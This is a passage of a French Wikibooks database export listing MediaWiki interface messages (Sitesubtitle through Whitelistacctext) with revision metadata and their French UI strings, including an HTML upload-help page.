[http://en.wikipedia.org/wikistats/wikibooks/EN/Sitemap.htm toutes les statistiques] MediaWiki:Sitesubtitle 1892 sysop 20625 2005-09-05T09:20:04Z MediaWiki default MediaWiki:Sitesupport 1893 sysop 19567 2005-08-19T23:11:36Z MediaWiki default Faire un don MediaWiki:Sitesupport-url 1894 sysop 47006 2006-07-01T18:48:51Z MediaWiki default Project:D MediaWiki:Sitetitle 1895 sysop 13532 2005-06-25T11:04:04Z MediaWiki default {{SITENAME}} MediaWiki:Siteuser 1896 sysop 13533 2005-06-25T11:04:04Z MediaWiki default Utilisateur $1 de {{SITENAME}} MediaWiki:Siteusers 1897 sysop 26218 2005-11-29T00:47:50Z MediaWiki default Utilisateur(s) $1 MediaWiki:Skin 1898 sysop 13535 2005-06-25T11:04:04Z MediaWiki default Apparence MediaWiki:Spamprotectionmatch 1899 sysop 15936 2005-07-03T11:17:10Z MediaWiki default Le texte suivant a déclenché le détecteur de spam: $1 MediaWiki:Spamprotectiontext 1900 sysop 47020 2006-07-01T18:48:51Z MediaWiki default La page que vous avez tenté de sauvegarder a été bloquée par notre filtre anti-spam. Ceci est probablement causé par un lien vers un site externe MediaWiki:Spamprotectiontitle 1901 sysop 47021 2006-07-01T18:48:51Z MediaWiki default Filtre de protection contre le spam MediaWiki:Special version postfix 1902 sysop 13539 2005-06-25T11:04:04Z MediaWiki default MediaWiki:Special version prefix 1903 sysop 13540 2005-06-25T11:04:04Z MediaWiki default MediaWiki:Specialpage 1904 sysop 26219 2005-11-29T00:47:50Z MediaWiki default Page spéciale MediaWiki:Specialpages 1905 sysop 13542 2005-06-25T11:04:04Z MediaWiki default Pages spéciales MediaWiki:Spheading 1906 sysop 13543 2005-06-25T11:04:04Z MediaWiki default Pages spéciales MediaWiki:Sqlislogged 1907 sysop 13544 2005-06-25T11:04:04Z MediaWiki default Veillez noter que toutes les requêtes sont loguées MediaWiki:Sqlquery 1908 sysop 13545 2005-06-25T11:04:04Z MediaWiki default Saisir la requête MediaWiki:Statistics 1909 sysop 13546 2005-06-25T11:04:04Z MediaWiki default Statistiques MediaWiki:Storedversion 1910 sysop 13547 2005-06-25T11:04:04Z MediaWiki default Version enregistrée MediaWiki:Stubthreshold 1911 sysop 13548 2005-06-25T11:04:04Z MediaWiki default Taille minimale des articles courts MediaWiki:Subcategories 1912 sysop 13549 2005-06-25T11:04:04Z MediaWiki default Sous-catégories MediaWiki:Subcategorycount1 1913 sysop 15939 2005-07-03T11:17:10Z MediaWiki default Cette catégorie possède $1 sous-catégorie. MediaWiki:Subject 1914 sysop 13551 2005-06-25T11:04:04Z MediaWiki default Sujet/titre MediaWiki:Subjectpage 1915 sysop 13552 2005-06-25T11:04:04Z MediaWiki default Page sujet MediaWiki:Successfulupload 1916 sysop 13553 2005-06-25T11:04:04Z MediaWiki default Copie réussie MediaWiki:Summary 1917 sysop 17955 2005-07-29T10:37:04Z MediaWiki default Résumé&nbsp; MediaWiki:Sunday 1918 sysop 13555 2005-06-25T11:04:04Z MediaWiki default dimanche MediaWiki:Sysoptext 1919 sysop 19568 2005-08-19T23:11:36Z MediaWiki default L'action que vous avez tentée ne peut être effectuée que par un utilisateur ayant le statut d'« administrateur ». Voir $1. MediaWiki:Sysoptitle 1920 sysop 13557 2005-06-25T11:04:04Z MediaWiki default Accès administrateur requis MediaWiki:Tableform 1921 sysop 13558 2005-06-25T11:04:04Z MediaWiki default table MediaWiki:Tagline 1922 sysop 20626 2005-09-05T09:20:04Z MediaWiki default Un article de {{SITENAME}}. MediaWiki:Talk 1923 sysop 13560 2005-06-25T11:04:04Z MediaWiki default Discussion MediaWiki:Talkexists 1924 sysop 47025 2006-07-01T18:48:51Z MediaWiki default La page elle-même a été déplacée avec succès, mais la page de discussion n'a pas pu être déplacée car il en existait déjà une sous le nouveau nom. Veuillez les fusionner manuellement. MediaWiki:Talkpage 1925 sysop 13562 2005-06-25T11:04:04Z MediaWiki default Page de discussion MediaWiki:Talkpagemoved 1926 sysop 13563 2005-06-25T11:04:04Z MediaWiki default La page discussion correspondante a également été déplacée. MediaWiki:Talkpagenotmoved 1927 sysop 13564 2005-06-25T11:04:04Z MediaWiki default La page discussion correspondante n'a <strong>pas</strong> été déplacée. MediaWiki:Talkpagetext 1928 sysop 13565 2005-06-25T11:04:04Z MediaWiki default <!-- MediaWiki:talkpagetext --> MediaWiki:Templatesused 1929 sysop 13566 2005-04-20T17:13:20Z Guillaumito 46 Modèles utilisés sur cette page : MediaWiki:Textboxsize 1930 sysop 26220 2005-11-29T00:47:50Z MediaWiki default Fenêtre d'édition MediaWiki:Textmatches 1931 sysop 13568 2005-06-25T11:04:04Z MediaWiki default Correspondances dans les textes MediaWiki:Thisisdeleted 1932 sysop 47026 2006-07-01T18:48:51Z MediaWiki default Désirez-vous afficher ou restaurer $1 ? MediaWiki:Thumbnail-more 1933 sysop 13570 2005-06-25T11:04:04Z MediaWiki default Agrandir MediaWiki:Thursday 1934 sysop 13571 2005-06-25T11:04:04Z MediaWiki default jeudi MediaWiki:Timezoneoffset 1935 sysop 13572 2005-06-25T11:04:04Z MediaWiki default Décalage horaire MediaWiki:Timezonetext 1936 sysop 13573 2005-06-25T11:04:04Z MediaWiki default Si vous ne précisez pas de décalage horaire, c'est l'heure de l'Europe de l'ouest qui sera utilisée. MediaWiki:Titlematches 1937 sysop 13574 2005-06-25T11:04:04Z MediaWiki default Correspondances dans les titres MediaWiki:Toc 1938 sysop 13575 2005-06-25T11:04:04Z MediaWiki default Sommaire MediaWiki:Tog-editondblclick 1939 sysop 26223 2005-11-29T00:47:50Z MediaWiki default Double-cliquer pour modifier une page (nécessite JavaScript) MediaWiki:Tog-editsection 1940 sysop 47030 2006-07-01T18:48:51Z MediaWiki default Modifier une section via les liens [modifier] MediaWiki:Tog-editsectiononrightclick 1941 sysop 13578 2005-06-25T11:04:04Z MediaWiki default Éditer une section en cliquant à droite<br /> sur le titre de la section MediaWiki:Tog-editwidth 1942 sysop 13579 2005-06-25T11:04:04Z MediaWiki default La fenêtre d'édition s'affiche en pleine largeur MediaWiki:Tog-hideminor 1943 sysop 13580 2005-06-25T11:04:04Z MediaWiki default Cacher les <i>Modifications récentes</i> mineures MediaWiki:Tog-highlightbroken 1944 sysop 13581 2005-06-25T11:04:04Z MediaWiki default Liens vers les sujets non existants en rouge MediaWiki:Tog-hover 1945 sysop 13582 2005-06-25T11:04:04Z MediaWiki default Afficher des info-bulles sur les liens wiki MediaWiki:Tog-justify 1946 sysop 13583 2005-06-25T11:04:04Z MediaWiki default Paragraphes justifiés MediaWiki:Tog-minordefault 1947 sysop 13584 2005-06-25T11:04:04Z MediaWiki default Mes modifications sont considérées<br /> comme mineures par défaut MediaWiki:Tog-nocache 1948 sysop 13585 2005-06-25T11:04:04Z MediaWiki default Désactiver le cache des pages MediaWiki:Tog-numberheadings 1949 sysop 13586 2005-06-25T11:04:04Z MediaWiki default Numérotation automatique des titres MediaWiki:Tog-previewonfirst 1950 sysop 15949 2005-07-03T11:17:10Z MediaWiki default Montrer la prévisualisation lors de la première édition MediaWiki:Tog-previewontop 1951 sysop 47039 2006-07-01T18:48:51Z MediaWiki default Show preview before edit box MediaWiki:Tog-rememberpassword 1952 sysop 13589 2005-06-25T11:04:04Z MediaWiki default Se souvenir de mon mot de passe (cookie) MediaWiki:Tog-showtoc 1953 sysop 13590 2005-06-25T11:04:04Z MediaWiki default Afficher la table des matières<br /> (pour les articles ayant plus de 3 sections) MediaWiki:Tog-showtoolbar 1954 sysop 15951 2005-07-03T11:17:10Z MediaWiki default Montrer la barre de menu d'édition MediaWiki:Tog-underline 1955 sysop 13592 2005-06-25T11:04:04Z MediaWiki default Liens soulignés MediaWiki:Tog-usenewrc 1956 sysop 13593 2005-06-25T11:04:04Z MediaWiki default Modifications récentes améliorées<br /> (certains navigateurs seulement) MediaWiki:Tog-watchdefault 1957 sysop 47044 2006-07-01T18:48:51Z MediaWiki default Ajouter les pages que vous modifiez à votre liste de suivi MediaWiki:Toolbox 1958 sysop 13595 2005-06-25T11:04:04Z MediaWiki default Boîte à outils MediaWiki:Tooltip-compareselectedversions 1959 sysop 13596 2005-06-25T11:04:04Z MediaWiki default Voir les différences entre les deux versions séléctionnées de cette page. [alt-v] MediaWiki:Tooltip-minoredit 1960 sysop 13597 2005-06-25T11:04:04Z MediaWiki default Marquer cette modification comme mineur [alt-i] MediaWiki:Tooltip-preview 1961 sysop 47048 2006-07-01T18:48:51Z MediaWiki default Prévisualiser vos changements, veuillez utiliser cette fonction avant de sauvegarder ! [alt-p] MediaWiki:Tooltip-save 1962 sysop 13599 2005-06-25T11:04:04Z MediaWiki default Sauvegarder vos modifications [alt-s] MediaWiki:Tooltip-search 1963 sysop 13600 2005-06-25T11:04:04Z MediaWiki default Rechercher dans ce wiki MediaWiki:Tuesday 1964 sysop 13601 2005-06-25T11:04:04Z MediaWiki default mardi MediaWiki:Uclinks 1965 sysop 13602 2005-06-25T11:04:04Z MediaWiki default Afficher les $1 dernières modifications; afficher les $2 derniers jours. MediaWiki:Ucnote 1966 sysop 13603 2005-06-25T11:04:04Z MediaWiki default Voici les <b>$1</b> dernières modifications effectuées par cet utilisateur au cours des <b>$2</b> derniers jours. MediaWiki:Uctop 1967 sysop 13604 2005-06-25T11:04:04Z MediaWiki default (dernière) MediaWiki:Unblockip 1968 sysop 13605 2005-06-25T11:04:04Z MediaWiki default Débloquer une adresse IP MediaWiki:Unblockiptext 1969 sysop 13606 2005-06-25T11:04:04Z MediaWiki default Utilisez le formulaire ci-dessous pour rétablir l'accès en écriture à partir d'une adresse IP précédemment bloquée. MediaWiki:Unblocklink 1970 sysop 13607 2005-06-25T11:04:04Z MediaWiki default débloquer MediaWiki:Unblocklogentry 1971 sysop 19576 2005-08-19T23:11:37Z MediaWiki default déblocage de « $1 » MediaWiki:Uncategorizedcategories 1972 sysop 15954 2005-07-03T11:17:10Z MediaWiki default Catégories sans catégories MediaWiki:Undelete 1973 sysop 47055 2006-07-01T18:48:51Z MediaWiki default Voir la page supprimée MediaWiki:Undelete short 1974 sysop 47056 2006-07-01T18:48:51Z MediaWiki default Restaurer $1 modifications MediaWiki:Undeletearticle 1975 sysop 47057 2006-07-01T18:48:51Z MediaWiki default Restaurer les articles supprimés MediaWiki:Undeletebtn 1976 sysop 26229 2005-11-29T00:47:51Z MediaWiki default Procéder à la restauration ! MediaWiki:Undeletedarticle 1977 sysop 26230 2005-11-29T00:47:51Z MediaWiki default a restauré « [[$1]] » MediaWiki:Undeletedrevisions 1978 sysop 15956 2005-07-03T11:17:10Z MediaWiki default $1 versions ont été restaurées MediaWiki:Undeletedtext 1979 sysop 26231 2005-11-29T00:47:51Z MediaWiki default L'article [[$1]] a été restauré avec succès. Voir [[{{ns:4}}:Trace des effacements]] pour la liste des suppressions et des restaurations récentes. MediaWiki:Undeletehistory 1980 sysop 47063 2006-07-01T18:48:51Z MediaWiki default Si vous restaurez la page, toutes les révisions seront restaurées dans l'historique. Si une nouvelle page avec le même nom a été créée depuis la suppression, les révisions restaurées apparaîtront dans l'historique antérieur et la version courante ne sera pas automatiquement remplacée. MediaWiki:Undeletepage 1981 sysop 47065 2006-07-01T18:48:51Z MediaWiki default Voir et restaurer la page supprimée MediaWiki:Undeletepagetext 1982 sysop 47066 2006-07-01T18:48:51Z MediaWiki default Ces pages ont été supprimées et se trouvent dans l'archive, elles sont toujours dans la base de donnée et peuvent être restaurées. L'archive peut être effacée périodiquement. MediaWiki:Undeleterevision 1983 sysop 47068 2006-07-01T18:48:51Z MediaWiki default $1 versions archivées MediaWiki:Undeleterevisions 1984 sysop 13621 2005-06-25T11:04:04Z MediaWiki default $1 révisions archivées MediaWiki:Unexpected 1985 sysop 19580 2005-08-19T23:11:37Z MediaWiki default Valeur inattendue : « $1 » = « $2 ». MediaWiki:Unlockbtn 1986 sysop 13623 2005-06-25T11:04:04Z MediaWiki default Déverrouiller la base MediaWiki:Unlockconfirm 1987 sysop 13624 2005-06-25T11:04:04Z MediaWiki default Oui, je confirme que je souhaite déverrouiller la base de données. MediaWiki:Unlockdb 1988 sysop 13625 2005-06-25T11:04:04Z MediaWiki default Déverrouiller la base MediaWiki:Unlockdbsuccesssub 1989 sysop 13626 2005-06-25T11:04:04Z MediaWiki default Base déverrouillée. MediaWiki:Unlockdbsuccesstext 1990 sysop 13627 2005-06-25T11:04:04Z MediaWiki default La base de données de {{SITENAME}} est déverrouillée. MediaWiki:Unlockdbtext 1991 sysop 19582 2005-08-19T23:11:37Z MediaWiki default Le déverrouillage de la base de données permettra à nouveau à tous les utilisateurs de modifier des pages, de mettre à jour leurs préférences et leur liste de suivi, ainsi que d'effectuer les autres opérations nécessitant des modifications dans la base de données. Veuillez confirmer que c'est bien là ce que vous voulez faire. MediaWiki:Unprotect 1992 sysop 13629 2005-06-25T11:04:04Z MediaWiki default Déprotéger MediaWiki:Unprotectcomment 1993 sysop 13630 2005-06-25T11:04:04Z MediaWiki default Raison du débloquage MediaWiki:Unprotectedarticle 1994 sysop 26232 2005-11-29T00:47:51Z MediaWiki default a déprotégé « $1 » MediaWiki:Unprotectsub 1995 sysop 26233 2005-11-29T00:47:51Z MediaWiki default (Déprotéger « $1 ») MediaWiki:Unprotectthispage 1996 sysop 13633 2005-06-25T11:04:04Z MediaWiki default Déprotéger cette page MediaWiki:Unusedimages 1997 sysop 13634 2005-06-25T11:04:04Z MediaWiki default Images orphelines MediaWiki:Unusedimagestext 1998 sysop 47072 2006-07-01T18:48:51Z MediaWiki default <p>N'oubliez pas que d'autres sites, peuvent contenir un lien direct vers cette image, et que celle-ci peut être placée dans cette liste alors qu'elle est en réalité utilisée.</p> MediaWiki:Unwatch 1999 sysop 19584 2005-08-19T23:11:37Z MediaWiki default Ne plus suivre MediaWiki:Unwatchthispage 2000 sysop 13637 2005-06-25T11:04:04Z MediaWiki default Ne plus suivre MediaWiki:Updated 2001 sysop 13638 2005-06-25T11:04:04Z MediaWiki default (Mis à jour) MediaWiki:Upload 2002 sysop 22950 2005-10-13T13:57:14Z Greudin 1 d'après w: Importer image ou son MediaWiki:Uploadbtn 2003 sysop 13640 2005-06-25T11:04:04Z MediaWiki default Copier un fichier MediaWiki:Uploadcorrupt 2004 sysop 15959 2005-07-03T11:17:10Z MediaWiki default Ce fichier est corrompu, a une taille nulle ou possède une extension invalide. Veuillez vérifer le fichier. MediaWiki:Uploaddisabled 2005 sysop 13642 2005-06-25T11:04:04Z MediaWiki default Désolé, l'envoi de fichier est désactivé. MediaWiki:Uploadedfiles 2006 sysop 13643 2005-06-25T11:04:04Z MediaWiki default Fichiers copiés MediaWiki:Uploadedimage 2007 sysop 17967 2005-07-29T10:37:05Z MediaWiki default « [[$1]] » copié sur le serveur MediaWiki:Uploaderror 2008 sysop 13645 2005-06-25T11:04:04Z MediaWiki default Erreur MediaWiki:Uploadfile 2009 sysop 13646 2005-06-25T11:04:04Z MediaWiki default Copier un fichier MediaWiki:Uploadlink 2010 sysop 13647 2005-06-25T11:04:04Z MediaWiki default Copier des images MediaWiki:Uploadlog 2011 sysop 25779 2005-11-20T22:14:47Z Guillaumito 46 Historique des upload MediaWiki:Uploadlogpage 2012 sysop 47080 2006-07-01T18:48:51Z MediaWiki default Journal d'upload MediaWiki:Uploadlogpagetext 2013 sysop 47081 2006-07-01T18:48:51Z MediaWiki default Voici la liste des derniers fichiers copiés sur le serveur. MediaWiki:Uploadnologin 2014 sysop 13651 2005-06-25T11:04:04Z MediaWiki default Non connecté(e) MediaWiki:Uploadnologintext 2015 sysop 19585 2005-08-19T23:11:37Z MediaWiki default Vous devez être [[Special:Userlogin|connecté]] pour copier des fichiers sur le serveur. MediaWiki:Uploadtext 2016 move=:edit= 39293 2006-03-30T18:47:43Z Greudin 1 __NOTOC__ <div style="height:8px;border:1px solid #aaaaaa;-moz-border-radius-topright:0.5em;-moz-border-radius-topleft:0.5em;background-color:#C8D8FF;font-size:1px;"></div> <div style="margin-bottom:3ex;background-color:white; border:1px solid #8898BF;border-top:0 solid white;padding:5px 5px 0 5px;"> <table cellpadding="5px"> <tr valign="top"> <td> [[Image:Commons-logo.svg|48px]] </td> <td> Vous devriez importer les fichiers '''[[Commons:Commons:Messages_de_statut_des_images|sous licence libre]]''' (pas d'usage loyal -''[[w:Wikipédia:Fair use|fair use]]''- ou de contenu non-libre) sur '''[[commons:Accueil|Wikimedia Commons]]''', le conservatoire central de contenus libres qui peuvent être utilisés immédiatement dans tous les projets Wikimedia, dans toutes les langues. '''Dans la plupart des cas, [[Commons:Special:Upload|importez plutôt les fichiers libres sur Wikimedia Commons]]'''. Merci de vous reporter au [[w:Wikipédia:Wikimedia Commons|fichier d'aide]] pour plus de détails sur l'utilisation de Wikimedia Commons. Un [[w:Wikipédia:Merci pour les photos|guide pas à pas]] est également disponible. </td> </tr> <tr valign="top"> <td> [[Image:Nuvola apps kget.png|48px]] </td> <td> Si vous préférez toutefois importer votre fichier dans la base de la Wikipédia francophone, et non pas sur [[commons:Accueil|Wikimedia Commons]], vous pouvez utiliser le [[#Téléchargement|formulaire situé en bas]] de cette page, après avoir pris connaissance des [[w:Wikipédia:Règles d'utilisation des images|règles d'utilisation]]. </td> </tr> </table> </div> <div style="height:8px;border:1px solid #aaaaaa;-moz-border-radius-topright:0.5em;-moz-border-radius-topleft:0.5em;background-color:#FFDAB9;font-size:1px;"></div> <div style="margin-bottom:3ex;background-color:white; border:1px solid #{{{case: rouge|AAAAAA}}};border-top:0 solid white;padding:5px 5px 0 5px;"> [[Image:Nuvola_apps_important.png|64px|left]] <div style="color: red; font-weight: bold ;font-size:2em; text-align:center; line-height: 1.2em"> Votre fichier sera supprimé sans préavis<br /> si vous ne précisez pas les trois informations suivantes.</div> ---- <table cellpadding="5px"> <tr valign="top"> <td> [[Image:Nuvola apps xmag.png|48px]] </td> <td> == Une description claire == * Utilisez un nom de fichier clair et détaillé pour votre fichier. * Décrivez en quelques mots de quoi il s'agit. * Utilisez les [[:Catégorie:Images|catégories]]. </td> </tr> <tr valign="top"> <td> [[Image:Nuvola apps personal.png|48px]] </td> <td> == L'auteur et/ou la source du fichier == * '''Sans une autorisation explicite''', '''les contenus trouvés sur Internet sont soumis aux [[w:droits d'auteur|droits d'auteur]]''' et ne conviennent pas à une utilisation sur [[Wikilivres]]. * Si le fichier provient d'un site internet qui en autorise explicitement la reproduction, vous devez indiquer l'[[w:URL|adresse internet]] de la page d'où il provient. * Si vous êtes l'auteur du fichier, il faut le préciser dans la description. </td> </tr> <tr valign="top"> <td> [[Image:Nuvola apps korganizer todo.png|48px]] </td> <td> == La licence du fichier == * Dans le doute consultez ''[[w:Wikipédia:quelle licence utiliser|Wikipédia:quelle licence utiliser]]''. * Tout téléchargement en [[w:Wikipédia:Fair use|fair use]] doit être '''argumenté'''. </td> </tr> </table> </div> <div style="height:8px;border:1px solid #aaaaaa;-moz-border-radius-topright:0.5em;-moz-border-radius-topleft:0.5em;background-color:#D7FFC7;font-size:1px;"></div> <div style="margin-bottom:3ex;background-color:white; border:1px solid #97BF87;border-top:0 solid white;padding:5px 5px 0 5px;"> <table cellpadding="5px"> <tr valign="top"> <td> [[Image:Nuvola apps filetypes.png|48px]] </td> <td> == Aide == Pour plus d'informations, merci de consulter les pages suivantes : *[[w:Aide:Comment charger un fichier|Comment charger un fichier]] *[[w:Wikipédia:Règles d'utilisation des images|Règles d'utilisation des images]] *[[w:Aide:Comment insérer un fichier audio|Comment insérer un fichier audio]] *[[Aide:Comment insérer une image|Comment insérer une image]] Si vous ne trouvez pas les réponses à vos questions dans ces pages, vous pouvez vous adresser à la [[w:Wikipédia:Guilde des Guides|guilde des guides]]. </td> </tr> <tr valign="top"> <td> [[Image:Nuvola apps error.png|48px]] </td> <td> == Problèmes == Si vous téléchargez une image par erreur (en double par exemple), vous pouvez demander sa suppression sur la page '''[[Wikilivres:Pages à supprimer]]'''. </td> </tr> </table> </div> MediaWiki:Uploadwarning 2017 sysop 13654 2005-06-25T11:04:05Z MediaWiki default Attention ! MediaWiki:Usenewcategorypage 2018 sysop 13655 2005-06-25T11:04:05Z MediaWiki default 1 Set first character to "0" to disable the new category page layout. MediaWiki:User rights set 2019 sysop 19586 2005-08-19T23:11:37Z MediaWiki default <b>Les droits de l'utilisateur « $1 » sont mis à jour</b> MediaWiki:Usercssjsyoucanpreview 2020 sysop 15965 2005-07-03T11:17:10Z MediaWiki default '''Astuce :''' utilisez le bouton '''Prévisualisation''' pour tester votre nouvelle feuille css/js avant de l'enregistrer. MediaWiki:Usercsspreview 2021 sysop 15966 2005-07-03T11:17:10Z MediaWiki default '''Rappelez-vous que vous êtes en train de prévisualiser votre propre feuille css et qu'elle n'a pas encore été enregistrée !''' MediaWiki:Userexists 2022 sysop 13659 2005-06-25T11:04:05Z MediaWiki default Le nom d'utilisateur que vous avez saisi est déjà utilisé. Veuillez en choisir un autre. MediaWiki:Userjspreview 2023 sysop 15967 2005-07-03T11:17:10Z MediaWiki default '''Rappelez-vous que vous êtes en train de visualiser ou de tester votre code javascript et qu'il n'a pas encore été enregistré !''' MediaWiki:Userlevels 2024 sysop 13661 2005-06-25T11:04:05Z MediaWiki default User levels management MediaWiki:Userlevels-addgroup 2025 sysop 13662 2005-06-25T11:04:05Z MediaWiki default Add group MediaWiki:Userlevels-editgroup 2026 sysop 13663 2005-06-25T11:04:05Z MediaWiki default Edit group MediaWiki:Userlevels-editgroup-description 2027 sysop 13664 2005-06-25T11:04:05Z MediaWiki default Group description (max 255 characters):<br /> MediaWiki:Userlevels-editgroup-name 2028 sysop 13665 2005-06-25T11:04:05Z MediaWiki default Group name: MediaWiki:Userlevels-editusergroup 2029 sysop 13666 2005-06-25T11:04:05Z MediaWiki default Edit user groups MediaWiki:Userlevels-group-edit 2030 sysop 13667 2005-06-25T11:04:05Z MediaWiki default Existent groups: MediaWiki:Userlevels-groupsavailable 2031 sysop 13668 2005-06-25T11:04:05Z MediaWiki default Available groups: MediaWiki:Userlevels-groupshelp 2032 sysop 13669 2005-06-25T11:04:05Z MediaWiki default Select groups you want the user to be removed from or added to. Unselected groups will not be changed. You can unselect a group by using CTRL + Left Click MediaWiki:Userlevels-groupsmember 2033 sysop 13670 2005-06-25T11:04:05Z MediaWiki default Member of: MediaWiki:Userlevels-lookup-group 2034 sysop 13671 2005-06-25T11:04:05Z MediaWiki default Manage group rights MediaWiki:Userlevels-lookup-user 2035 sysop 13672 2005-06-25T11:04:05Z MediaWiki default Manage user groups MediaWiki:Userlevels-user-editname 2036 sysop 13673 2005-06-25T11:04:05Z MediaWiki default Enter a username: MediaWiki:Userlogin 2037 sysop 17968 2005-07-29T10:37:05Z MediaWiki default Créer un compte ou se connecter MediaWiki:Userlogout 2038 sysop 13675 2005-06-25T11:04:05Z MediaWiki default Déconnexion MediaWiki:Usermailererror 2039 sysop 47085 2006-07-01T18:48:51Z MediaWiki default Erreur dans le sujet du courriel : MediaWiki:Userpage 2040 sysop 13677 2005-06-25T11:04:05Z MediaWiki default Page utilisateur MediaWiki:Userrightspheading 2041 sysop 13678 2005-06-25T11:04:05Z MediaWiki default userrights level MediaWiki:Userstats 2042 sysop 13679 2005-06-25T11:04:05Z MediaWiki default Statistiques utilisateur MediaWiki:Userstatstext 2043 sysop 19588 2005-08-19T23:11:37Z MediaWiki default Il y a <b>$1</b> utilisateurs enregistrés. Parmi ceux-ci, <b>$2</b> ont le statut d'administrateur (voir $3). MediaWiki:Val article lists 2044 sysop 17971 2005-07-29T10:37:05Z MediaWiki default Liste d'articles validés MediaWiki:Val clear old 2045 sysop 13682 2005-06-25T11:04:05Z MediaWiki default Supprimer mes données de validation pour $1 MediaWiki:Val form note 2046 sysop 15981 2005-07-03T11:17:10Z MediaWiki default '''Hint:''' Merging your data means that for the article revision you select, all options where you have specified ''no opinion'' will be set to the value and comment of the most recent revision for which you have expressed an opinion. For example, if you want to change a single option for a newer revision, but also keep your other settings for this article in this revision, just select which option you intend to ''change'', and merging will fill in the other options with your previous settings. MediaWiki:Val merge old 2047 sysop 13684 2005-06-25T11:04:05Z MediaWiki default Utiliser mes précédents choix pour les choix marqués 'Sans opinion' MediaWiki:Val no anon validation 2048 sysop 13685 2005-06-25T11:04:05Z MediaWiki default Vous devez être identifié pour valider un article. MediaWiki:Val noop 2049 sysop 13686 2005-06-25T11:04:05Z MediaWiki default Sans opinion MediaWiki:Val page validation statistics 2050 sysop 13687 2005-06-25T11:04:05Z MediaWiki default Statistiques de validation pour $1 MediaWiki:Val percent 2051 sysop 13688 2005-06-25T11:04:05Z MediaWiki default <b>$1%</b><br />($2 sur $3 points<br />par $4 utilisateurs) MediaWiki:Val percent single 2052 sysop 13689 2005-06-25T11:04:05Z MediaWiki default <b>$1%</b><br />($2 sur $3 points<br />par un utilisateur) MediaWiki:Val stat link text 2053 sysop 13690 2005-06-25T11:04:05Z MediaWiki default Statistiques de validation pour cet article MediaWiki:Val tab 2054 sysop 13691 2005-06-25T11:04:05Z MediaWiki default Valider MediaWiki:Val table header 2055 sysop 27311 2005-12-22T07:10:57Z MediaWiki default <tr><th>Class</th>$1<th colspan=4>Opinion</th>$1<th>Commentaire</th></tr> MediaWiki:Val this is current version 2056 sysop 13693 2005-06-25T11:04:05Z MediaWiki default ceci est la dernière version MediaWiki:Val total 2057 sysop 13694 2005-06-25T11:04:05Z MediaWiki default Total MediaWiki:Val user validations 2058 sysop 13695 2005-06-25T11:04:05Z MediaWiki default Cet utilisateur a validé $1 pages. MediaWiki:Val validate article namespace only 2059 sysop 13696 2005-06-25T11:04:05Z MediaWiki default Seul les articles peuvent être validés. Cette page n'est <i>pas</i> un article. MediaWiki:Val validate version 2060 sysop 13697 2005-06-25T11:04:05Z MediaWiki default Valider cette version MediaWiki:Val validated 2061 sysop 13698 2005-06-25T11:04:05Z MediaWiki default Validation effectuée. MediaWiki:Val version 2062 sysop 13699 2005-06-25T11:04:05Z MediaWiki default Version MediaWiki:Val version of 2063 sysop 13700 2005-06-25T11:04:05Z MediaWiki default Version de $1 MediaWiki:Val view version 2064 sysop 13701 2005-06-25T11:04:05Z MediaWiki default Voir cette version MediaWiki:Validate 2065 sysop 16002 2005-07-03T11:17:11Z MediaWiki default Valider la page MediaWiki:Variantname-zh 2066 sysop 13703 2005-06-25T11:04:05Z MediaWiki default zh MediaWiki:Variantname-zh-cn 2067 sysop 13704 2005-06-25T11:04:05Z MediaWiki default cn MediaWiki:Variantname-zh-hk 2068 sysop 13705 2005-06-25T11:04:05Z MediaWiki default hk MediaWiki:Variantname-zh-sg 2069 sysop 13706 2005-06-25T11:04:05Z MediaWiki default sg MediaWiki:Variantname-zh-tw 2070 sysop 13707 2005-06-25T11:04:05Z MediaWiki default tw MediaWiki:Version 2071 sysop 13708 2005-06-25T11:04:05Z MediaWiki default Version MediaWiki:Viewcount 2072 sysop 13709 2005-06-25T11:04:05Z MediaWiki default Cette page a été consultée $1 fois. MediaWiki:Viewprevnext 2073 sysop 13710 2005-06-25T11:04:05Z MediaWiki default Voir ($1) ($2) ($3). MediaWiki:Viewsource 2074 sysop 13711 2005-06-25T11:04:05Z MediaWiki default Voir le texte source MediaWiki:Viewtalkpage 2075 sysop 13712 2005-06-25T11:04:05Z MediaWiki default Page de discussion MediaWiki:Wantedpages 2076 sysop 13713 2005-06-25T11:04:05Z MediaWiki default Pages les plus demandées MediaWiki:Watch 2077 sysop 13714 2005-06-25T11:04:05Z MediaWiki default Suivre MediaWiki:Watchdetails 2078 sysop 47100 2006-07-01T18:48:51Z MediaWiki default Vous suivez $1 pages, sans compter les pages de discussion. * [[Special:Watchlist/edit|Voir et éditer la liste de suivi]] * [[Special:Watchlist/clear|Retirer toutes les pages de ma liste de suivi]] MediaWiki:Watcheditlist 2079 sysop 47101 2006-07-01T18:48:51Z MediaWiki default Ceci est votre liste de suivi par ordre alphabétique. Sélectionnez les pages que vous souhaitez retirer de la liste et cliquez le bouton « retirer de la liste de suivi » en bas de l'écran. (retirer un article retire aussi la page de discussion associée, et vice-versa) MediaWiki:Watchlist 2080 sysop 13717 2005-06-25T11:04:05Z MediaWiki default Liste de suivi MediaWiki:Watchlistcontains 2081 sysop 13718 2005-06-25T11:04:05Z MediaWiki default Votre liste de suivi contient $1 pages MediaWiki:Watchlistsub 2082 sysop 17980 2005-07-29T10:37:06Z MediaWiki default (pour l'utilisateur « $1 ») MediaWiki:Watchmethod-list 2083 sysop 13720 2005-06-25T11:04:05Z MediaWiki default vérification des pages suivies pour des modifications récentes MediaWiki:Watchmethod-recent 2084 sysop 13721 2005-06-25T11:04:05Z MediaWiki default vérification des modifications récentes des pages suivies MediaWiki:Watchnochange 2085 sysop 13722 2005-06-25T11:04:05Z MediaWiki default Aucune des pages que vous suivez n'a été modifiée pendant la période affichée MediaWiki:Watchnologin 2086 sysop 13723 2005-06-25T11:04:05Z MediaWiki default Non connecté MediaWiki:Watchnologintext 2087 sysop 19590 2005-08-19T23:11:37Z MediaWiki default Vous devez être [[Special:Userlogin|connecté]] pour modifier votre liste. MediaWiki:Watchthis 2088 sysop 13725 2005-06-25T11:04:05Z MediaWiki default Suivre cet article MediaWiki:Watchthispage 2089 sysop 13726 2005-06-25T11:04:05Z MediaWiki default Suivre cette page MediaWiki:Wednesday 2090 sysop 13727 2005-06-25T11:04:05Z MediaWiki default mercredi MediaWiki:Welcomecreation 2091 sysop 13728 2005-06-25T11:04:05Z MediaWiki default <h2>Bienvenue, $1!</h2><p>Votre compte d'utilisateur a été créé. N'oubliez pas de personnaliser votre {{SITENAME}} en consultant la page Préférences. MediaWiki:Whatlinkshere 2092 sysop 13729 2005-06-25T11:04:05Z MediaWiki default Pages liées MediaWiki:Whitelistacctext 2093 sysop 47110 2006-07-01T18:48:51Z 